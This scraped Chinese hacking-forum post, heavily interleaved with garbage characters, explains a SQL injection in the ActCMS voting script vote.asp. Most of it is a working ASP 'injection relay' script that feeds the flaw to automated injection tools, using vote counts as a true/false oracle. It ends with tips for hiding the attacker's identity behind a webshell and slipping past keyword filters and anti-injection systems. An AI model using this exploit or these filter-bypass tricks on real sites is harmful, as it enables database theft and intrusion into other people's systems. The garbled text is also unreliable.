8 {, y& b5 d* j2 \看到ninty大牛的blog的一篇文章* b4 |6 W, U. e8 {0 [5 p/ n
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]; j9 p, e0 Z" E! C. Q: p" _
关于actcms漏洞的利用 by 3x qq:381862589
% w5 n( u3 x/ P# C转载请注明以上 U4 {. ~* q# `$ u* {1 }7 C
漏洞文件:
( i, t+ Y0 b0 \1 Z3 [( v" P8 q' l/plus/vote/vote.asp" e; ~2 V% Y1 b
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
% `2 ~# [3 w# p! }/ t/ f7 q! M3 m+ ? g+ w- @9 P" i; X" W
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
- I* S$ |& I3 T3 ~/ g
/ T3 l6 E1 D; [7 m3 response.end , h9 y/ Q3 q, `7 }( ~
9 r8 D A( T) a s4 end if
( r# h2 `6 F; C: x. Q/ a
8 e; R1 ?( W6 K4 P Z W& Y5 for i=1 to request("voted").count
+ k& v1 L* W7 C6 \
3 s& x# _) E. x8 G. b6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
4 B# r- p* `6 a+ I
. n9 I* T. j0 d$ ]+ \7 V5 O7 next
3 N! Z, B1 H4 [2 [( Q0 E* z5 e4 a6 |6 P' c
8....
+ ^1 d# o$ ~# y9 m! ]
5 p. v) \8 F& [( w1 g# D; w. [9response.Redirect "index.asp?id="&id&""
5 ]" g: i, Z4 |( ^* `投票结束回跳转回index.asp这个投票结果页面
' G% T [6 k! c8 m& G' p如果投票成功票数加1; a& }$ B7 _4 `+ i9 e8 t( Q/ w
失败票数不变
/ E7 s; @2 d, D如图:
) w9 A6 l% h3 i# [; b- |http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)& m+ H3 y5 Y+ u0 A$ o
1 u4 N9 f4 S( s) ?- s& z C: x2009-12-27 13:20
: j/ S$ |+ k. Y* n ?. t: y3 }1 R* w, ]% b; |0 d
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了: g6 p" i; ]5 S* d
& C4 S# I$ A6 W* x+ {. j本帖隐藏的内容需要回复才可以浏览0 `$ M: Q3 R& L! N6 F6 U6 F
我们用注入中转来实现这个注入具体代码如下:. B" `4 v2 _3 p0 Z( S" |6 c l7 c
先用寂寞的刺猬大牛的注入中转生成jmget.asp
0 F9 |+ r4 n) E, R注入地址:http://localhost/actcms/plus/vote/vote.asp7 C& Z0 @1 `" b. T5 _
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项5 h" Q7 b- B% o3 J2 ?, T$ Z
& [& |4 S* F7 G5 v9 }+ t然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% # m+ o8 v) c9 _# }+ T5 t6 \
; n/ f8 w5 [. L, s# n
02JmdcwName=request("jmdcw")
1 k- C7 P" |/ V, Q$ }7 ^* Z) ]9 S0 @ F0 p! }9 P
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 6 ?( W+ L: H* ~2 Q: `. P" @8 e
8 U2 k0 P( W' h# r# F# g04JmStr="id=1&voted=-1 or 1="&JmdcwName $ u, w5 k; o1 E/ L3 k) g. f) r
/ g: ^3 j( G. c1 [05JmStr=URLEncoding(JmStr) $ |8 r; Z# h. \ k
1 G. O, N8 v, b& ?* z' T06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"- \* ^: w# g* g1 ?# b
5 J' G6 x! x1 R! _% Q9 H% I
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"6 e0 w" N5 A ?, V
% z) ?( \8 S# _) p3 b6 V! B08testurl=testurl & "?" & JmStr ( g/ W4 }3 a9 I
( o4 t2 C9 `* n9 N& j/ ]
09JMUrl=JMUrl & "?" & JmStr ! w [' N# |5 f( d1 R. M6 Z! Q
; z7 S* l4 z' ~- r. U- C, o10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
- x% o8 `% U1 v7 j5 z V$ M7 U3 C7 d, b! H, g4 u
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"; {' j# `. V' a* m8 }% _
* j( b" ~- f5 l# b" z12JmCok=replace(JmCok,chr(32),"%20") ' |( g7 X0 v y0 B# J. l/ [
4 e0 X3 J2 P+ J* W) K: h/ v$ _ |" j
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
1 d' s- a5 b- D3 H7 f" q) E( n, g
14 ' {( q R$ e; m
% D; j7 |2 l' D' C5 W- F9 q15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 0 y; @8 x- Z6 ^
) {% c" K% x) _# }0 c: w2 S
16
* Q9 D6 K8 d( T3 _& y: B8 X
5 N% r2 z/ L0 W+ I& B17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 $ [! y/ I0 o# a. H; v
. J/ ?. h& `) I3 x2 g. z18response.write test1&""&test2&""* F; q' o8 d, d, X# u' [5 O, Y
6 w& r; `5 d! ?# V; K, f, N
19 % R0 s2 q) S( c7 W0 Y" T
/ ^( [# Z* f3 M2 I9 z, w0 K# C* }
20if test1=test2 then '如前后记录相等,表示失败
5 L- |2 a) R- d9 P0 v7 K, `9 O7 W5 E3 i7 j3 s9 l0 w- b/ T- r7 u$ E
21 response.write "failed"
8 J8 o6 J5 s+ n A! G8 g6 W; e; x/ ~8 B
22else 8 ]& q& m6 G! x9 |- f! Z; g
: W. c- G0 }) ~, s- W+ s
23 response.write "succeed"/ [ A1 M. M3 t1 K
% i; d( k; B( u/ ?* [0 I% U- V
24end if 3 u) H5 F( {, B1 R# ~
) j; }/ p. T% z! W+ I25 # u8 e6 [ ^0 A( o1 c6 E( J" ]
& K1 v6 E2 X+ E/ |( z26response.write "by 3x" S5 k8 m, P1 g8 K; A# ^
) h6 B: U4 q# |3 r J4 z" q1 o- G
27 6 \' G1 K+ E. w) l, y
( H+ v$ d# M5 j+ o2 E0 r
28
( V, ]; t. e. P8 [+ N1 N; x5 K' G, ]" k ]6 U6 A* \
29Function PostData(PostUrl,PostStr,PostCok,PostRef) ( A: O. k+ i9 b$ q4 {$ S
9 D! D( w2 ^& d/ u4 T+ q
30Dim Http
$ C* G4 x9 Q( r1 L& _4 J- N- t2 G& X6 f( e/ n+ {2 o
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 7 t' r4 E2 ^6 F. |6 e4 w# X7 m2 h
" k) f% |+ m7 [. D. T4 K
32With Http : T: i1 N; ^6 q' T, t7 N
3 C# R! N* _4 _$ j. o3 M, ^; c8 o33 $ R% P2 \ c1 X' e, Y& \: l4 [
/ w' P( G. a) N4 i P34.Open "GET",PostUrl,False, z$ c/ _: T2 k/ E" \! d
6 ~) ~: f9 C, w7 @( m( A& e: _
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"1 P9 K2 G3 ~0 O+ w
0 p* G$ }3 C; U36.SetRequestHeader "Referer",PostRef 1 E) w) P7 l4 C2 h
0 x% |* L. w3 {* ~37.SetRequestHeader "Cookie",PostCok 3 u. b1 [1 D, g; {. T& c; {
# W% t$ x0 U V7 w; O$ ^1 [7 S* z) U38.Send () * E# M2 \3 ?8 j5 P" F
# O/ M6 D/ E& G9 {! T9 u39PostData = .ResponseBody
+ e% p5 K. ^( U9 T h
7 f4 s9 l- W4 g0 O: j2 _0 l40End With0 s% a3 G p5 y# Q/ z; C
5 B+ T1 G# r6 i
41Set Http = Nothing. v* h+ W+ z- E5 A
- J- `) v) B/ S+ ]/ ~42PostData =bytes2BSTR(PostData)
3 m H, Z1 _, N X% t+ C1 K1 I2 f" M% o! r, _; b. O% e* Q
43End Function/ p# {/ ^, O8 X5 ]6 Z
; U6 b, H8 Q( R: s! w M" n6 F! p44 & v5 c4 ~: `6 J7 T
+ A+ [7 l/ Q$ W1 c' i3 q3 h45 $ @8 [. v+ |: O5 C! p4 D. y& I. L
q: z8 p1 D+ D$ O y
46Function bytes2BSTR(vIn)
7 n# p& O2 Y( @7 N) {; o/ C2 I: k1 D' [) [. r* I, @
47Dim strReturn I. J6 B/ V1 T6 p( k5 l
& ?# | z! O9 v9 ^7 _8 r0 y! I
48Dim I, ThisCharCode, NextCharCode
4 m/ S) v s' R& Y) J4 ]) O+ q+ H9 E( ?
49strReturn = ""
0 x4 Y: C" w3 { O6 @; o6 n1 s
, p! J! I* ?+ j7 q3 Z50For I = 1 To LenB(vIn) 3 ^$ @7 I9 H ^1 t4 q
% q ]. F. L* O" ?
51ThisCharCode = AscB(MidB(vIn, I, 1)) ! G0 {4 j9 M) T% H" E$ l* D# g
6 E, y* G! X8 j1 O4 x& S. E
52If ThisCharCode < &H80 Then% D, O# ~! v, R- X0 j. c
0 k5 K, b: v' ?1 L7 y: `5 }% S0 ~
53strReturn = strReturn & Chr(ThisCharCode)
1 |# e9 K( ]7 n7 z5 Z1 ~' X7 B m# \4 t9 r; O# S
54Else
' Q* P" E* {1 b; U R+ s5 t% _$ { Z$ V9 B( M
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
5 x' _& ~0 [+ Q2 C2 S% M6 U$ d
0 b0 d1 c& }: T3 K56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
+ B; h& |+ U- T% p7 @( D% g% n( y
+ c- p4 C& u; p/ z3 j7 {57I = I + 1
1 _% r( t9 g. l' z
: J: f; z+ D8 H: a58End If8 i8 N- f$ C$ w& g
/ V" R. P" t7 j9 f, t3 w) C
59Next
9 z6 b& B* q& b x: b* \ R, s
; W5 q+ d7 ] c9 f( H) y/ g: Y60bytes2BSTR = strReturn
7 J: H) E+ {6 I |2 l$ j
1 P; Y$ z9 `# X: ?7 i6 G61End Function
' ?- j9 @4 W; x8 J
: y& `) Q# C( ?, ?% F62
2 n6 S9 a7 t9 g7 k5 _# x
5 S: c8 w ~4 W$ k4 T; f63Function URLEncoding(vstrin) - l/ |: F0 W4 L& s2 n3 B1 F. X
3 y/ i6 H( I& y1 Y7 z! W64strReturn=""$ W5 ]8 e# X2 N- ~. B
2 j7 G, a3 `% q# X6 w2 w2 M; T8 {65Dim i
( V! t/ z1 m. b4 G- n7 q; Z" f, ]& K C1 v- s `5 n
66For i=1 To Len(vstrin)
( S' `; u7 s0 J3 r8 ?" d) C5 v
67ThisChr=Mid(vstrin,i,1) 0 x' T# f2 c. A: ^: l, i1 N }
7 ]$ F" \4 I: x68if Abs(Asc(ThisChr))< &HFF Then8 C3 n; O- o' g5 G, l9 z
8 p7 s7 _* Y/ m69strReturn=strReturn & ThisChr c% a- {! m5 l8 I% d3 \
- L3 F G; r/ k/ I! p C
70Else
2 A8 H' c! M& K( I- h# F. @' @/ T7 V) p+ m9 M
71InnerCode=Asc(ThisChr)
) }( w$ T" @2 r K N6 Z3 E( ]9 O, y) @, {. ?0 a6 D: y
72If InnerCode<0 Then
, p: E( c: q) q1 s4 J3 c
+ y/ M& }' i& \0 N) P4 Y6 C( Z73InnerCode=InnerCode + &H10000 * a" m% `+ n2 k& j
2 d6 f5 I8 q3 _
74End If
7 B; S" \1 R: z4 y7 y% h
# g: [5 p3 A/ z6 ]8 F9 j75Hight1=(InnerCode And &HFF00) \&HFF " k' Z& K8 V5 F
( r- t: t/ O- B8 q: M3 ^$ B
76Low1=InnerCode And &HFF 6 `0 V. `4 B, a! N: V9 e. @9 x
( a4 a; ?8 d$ a. j/ I4 w77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 0 E* ^8 P" H0 s8 w- F+ I/ ]
0 S& Z1 q& L! E! u( b
78End if
- l l) x3 T- b$ u6 j0 k' k* P4 `) p6 @8 u3 B2 \
79Next" v9 R, J& @! [# t1 s
9 s& U# ~; b2 e# u7 |7 |80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 9 o* c7 T9 z" L1 ~8 X
, C! B; U. T$ {81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 6 u2 q6 `4 h* V. u
6 T; ?6 J* a! [+ }3 K: x& y; K2 a
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 4 G: q1 d+ u% n J: P) q2 N
! o' H+ H! I% J& |) G
83URLEncoding=strReturn ( d: L# t" ], j' f- u% t) W9 e
. g; x, K0 _% |84End Function
# e! s! k9 S( {' ~9 q
& u ~/ ?! _2 Y3 L85 : C% l' W" S* V( w& R
+ B+ d5 c# t5 @" p) z$ ?: f9 @6 n86function getSt(body) 4 m- x% p$ h* C$ H
O1 K3 D/ w( x87 startpot=instr(body,"投票人数:")+len("投票人数:")
" t' j; k7 d8 [( P% Y! A( L( v/ z, U. V6 h
88 endpot=instr(startpot,body," ")
. V3 e: x3 }$ ^! e; R2 f1 E# n+ A
2 c: |4 k, A5 n# H' j89 getSt=mid(body,startpot,endpot-startpot)
) P* e; R2 D$ f4 M+ P
0 G* ? j/ S p' v* R# v90end function * g F/ z g% K) m' R- A
7 p6 C' L+ B( j1 a91%>$ R. y, [- E+ ^! t# ]- c% c
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
9 H- a+ ]! a+ B9 C) K! G测试下效果:
; B1 [# Y q) ~' S2 u投票成功:
1 T8 e% i+ b5 K1 f" O: Rhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)' e% g) j6 x/ K. M7 B
) J! h# p* v* J( ?2 U: Q, F6 A2009-12-27 13:291 F2 X' N5 Q9 K, g9 J4 I1 A
投票失败' E# ?+ n) O D7 T" f
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
x+ ~, j$ a# }; j2 h
: M% B; c% G* u6 c2009-12-27 13:29
$ a) q- |6 ?& K7 Z7 A+ L7 Q, m-------------------------------------------------------------------------------6 u6 t* B3 A+ x& }! u; ]
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
, V; c; `, h% b2 g1 t7 H很抱歉。。。只能用单线程工具去注入。。。。。' S8 O n1 x. v/ r3 U3 k* a# r
所以失败。。。不好意思。。。+ Z/ B# X$ ^' h4 ?4 D5 X/ l- q
-------------------------------------------------------------------------------
( k0 _6 Y/ G! J9 I/ i/ ^# ~1 e
. `5 k9 p1 i* G% Z注入中转的一些其他应用5 X, P& s% A/ W0 w* D7 x# m# B
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
& \! i5 y& k# Y% }6 ^7 j1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
9 e7 E% S% v2 d7 i6 W8 [* [6 ~ X' R! F y2.post注入转成get型的注入,方便我们使用工具来跑, L% Y& |0 s4 U. u) c
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")% j+ D7 M E3 f& [9 i: A) h
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
$ l6 d1 Z0 a* I6 D. F0 c7 R3 S9 w" F
|